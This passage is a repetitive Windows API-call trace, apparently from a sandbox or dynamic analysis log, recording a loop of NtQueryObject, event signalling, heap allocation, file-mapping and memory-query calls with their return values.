ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.165] ResetEvent (hEvent=0xdc) returned 1 [0094.165] SetEvent (hEvent=0xe0) returned 1 [0094.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.166] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.183] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.183] ResetEvent (hEvent=0xdc) returned 1 [0094.183] SetEvent (hEvent=0xe0) returned 1 [0094.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.184] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.185] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.185] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.185] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.185] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.185] ResetEvent (hEvent=0xdc) returned 1 [0094.185] SetEvent (hEvent=0xe0) returned 1 [0094.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.186] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.186] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.186] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.186] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.186] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.187] ResetEvent (hEvent=0xdc) returned 1 [0094.187] SetEvent (hEvent=0xe0) returned 1 [0094.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.187] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.187] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.187] ResetEvent (hEvent=0xdc) returned 1 [0094.187] SetEvent (hEvent=0xe0) returned 1 [0094.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.188] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.188] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.188] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.188] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.188] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.188] ResetEvent (hEvent=0xdc) returned 1 [0094.188] SetEvent (hEvent=0xe0) returned 1 [0094.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.189] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.190] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.190] ResetEvent (hEvent=0xdc) returned 1 [0094.190] SetEvent (hEvent=0xe0) returned 1 [0094.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.190] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.190] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.191] ResetEvent (hEvent=0xdc) returned 1 [0094.191] SetEvent (hEvent=0xe0) returned 1 [0094.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.191] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.191] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.191] ResetEvent (hEvent=0xdc) returned 1 [0094.191] SetEvent (hEvent=0xe0) returned 1 [0094.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.192] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.192] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.192] ResetEvent (hEvent=0xdc) returned 1 [0094.192] SetEvent (hEvent=0xe0) returned 1 [0094.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.193] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.193] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.193] ResetEvent (hEvent=0xdc) returned 1 [0094.193] SetEvent (hEvent=0xe0) returned 1 [0094.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.193] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.194] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.194] ResetEvent (hEvent=0xdc) returned 1 [0094.194] SetEvent (hEvent=0xe0) returned 1 [0094.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.194] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.195] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.195] ResetEvent (hEvent=0xdc) returned 1 [0094.195] SetEvent (hEvent=0xe0) returned 1 [0094.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.195] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.196] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.196] ResetEvent (hEvent=0xdc) returned 1 [0094.196] SetEvent (hEvent=0xe0) returned 1 [0094.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.196] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.196] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.196] ResetEvent (hEvent=0xdc) returned 1 [0094.197] SetEvent (hEvent=0xe0) returned 1 [0094.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.197] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.197] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.197] ResetEvent (hEvent=0xdc) returned 1 [0094.197] SetEvent (hEvent=0xe0) returned 1 [0094.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.198] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.198] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.198] ResetEvent (hEvent=0xdc) returned 1 [0094.198] SetEvent (hEvent=0xe0) returned 1 [0094.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.199] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.199] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.199] ResetEvent (hEvent=0xdc) returned 1 [0094.199] SetEvent (hEvent=0xe0) returned 1 [0094.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.199] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.200] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.200] ResetEvent (hEvent=0xdc) returned 1 [0094.200] SetEvent (hEvent=0xe0) returned 1 [0094.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.200] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.201] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.201] ResetEvent (hEvent=0xdc) returned 1 [0094.201] SetEvent (hEvent=0xe0) returned 1 [0094.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.201] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.202] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.202] ResetEvent (hEvent=0xdc) returned 1 [0094.202] SetEvent (hEvent=0xe0) returned 1 [0094.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.202] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.202] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.203] ResetEvent (hEvent=0xdc) returned 1 [0094.203] SetEvent (hEvent=0xe0) returned 1 [0094.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.203] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.203] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.203] ResetEvent (hEvent=0xdc) returned 1 [0094.203] SetEvent (hEvent=0xe0) returned 1 [0094.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.204] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.204] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.204] ResetEvent (hEvent=0xdc) returned 1 [0094.204] SetEvent (hEvent=0xe0) returned 1 [0094.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.205] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.205] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.205] ResetEvent (hEvent=0xdc) returned 1 [0094.205] SetEvent (hEvent=0xe0) returned 1 [0094.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.206] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.206] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.206] ResetEvent (hEvent=0xdc) returned 1 [0094.206] SetEvent (hEvent=0xe0) returned 1 [0094.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.206] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.207] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.207] ResetEvent (hEvent=0xdc) returned 1 [0094.207] SetEvent (hEvent=0xe0) returned 1 [0094.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.207] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.208] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.208] ResetEvent (hEvent=0xdc) returned 1 [0094.208] SetEvent (hEvent=0xe0) returned 1 [0094.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.208] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.209] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.209] ResetEvent (hEvent=0xdc) returned 1 [0094.209] SetEvent (hEvent=0xe0) returned 1 [0094.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.209] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.209] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.209] ResetEvent (hEvent=0xdc) returned 1 [0094.209] SetEvent (hEvent=0xe0) returned 1 [0094.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.210] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.210] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.210] ResetEvent (hEvent=0xdc) returned 1 [0094.210] SetEvent (hEvent=0xe0) returned 1 [0094.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.211] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.211] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.211] ResetEvent (hEvent=0xdc) returned 1 [0094.211] SetEvent (hEvent=0xe0) returned 1 [0094.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.212] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.212] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.212] ResetEvent (hEvent=0xdc) returned 1 [0094.212] SetEvent (hEvent=0xe0) returned 1 [0094.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.213] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.213] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.213] ResetEvent (hEvent=0xdc) returned 1 [0094.213] SetEvent (hEvent=0xe0) returned 1 [0094.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.213] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.214] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.214] ResetEvent (hEvent=0xdc) returned 1 [0094.214] SetEvent (hEvent=0xe0) returned 1 [0094.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.214] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.215] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.215] ResetEvent (hEvent=0xdc) returned 1 [0094.215] SetEvent (hEvent=0xe0) returned 1 [0094.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.215] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.216] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.216] ResetEvent (hEvent=0xdc) returned 1 [0094.216] SetEvent (hEvent=0xe0) returned 1 [0094.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.216] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.216] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.217] ResetEvent (hEvent=0xdc) returned 1 [0094.217] SetEvent (hEvent=0xe0) returned 1 [0094.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.217] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.217] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.217] ResetEvent (hEvent=0xdc) returned 1 [0094.217] SetEvent (hEvent=0xe0) returned 1 [0094.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.218] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.218] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.218] ResetEvent 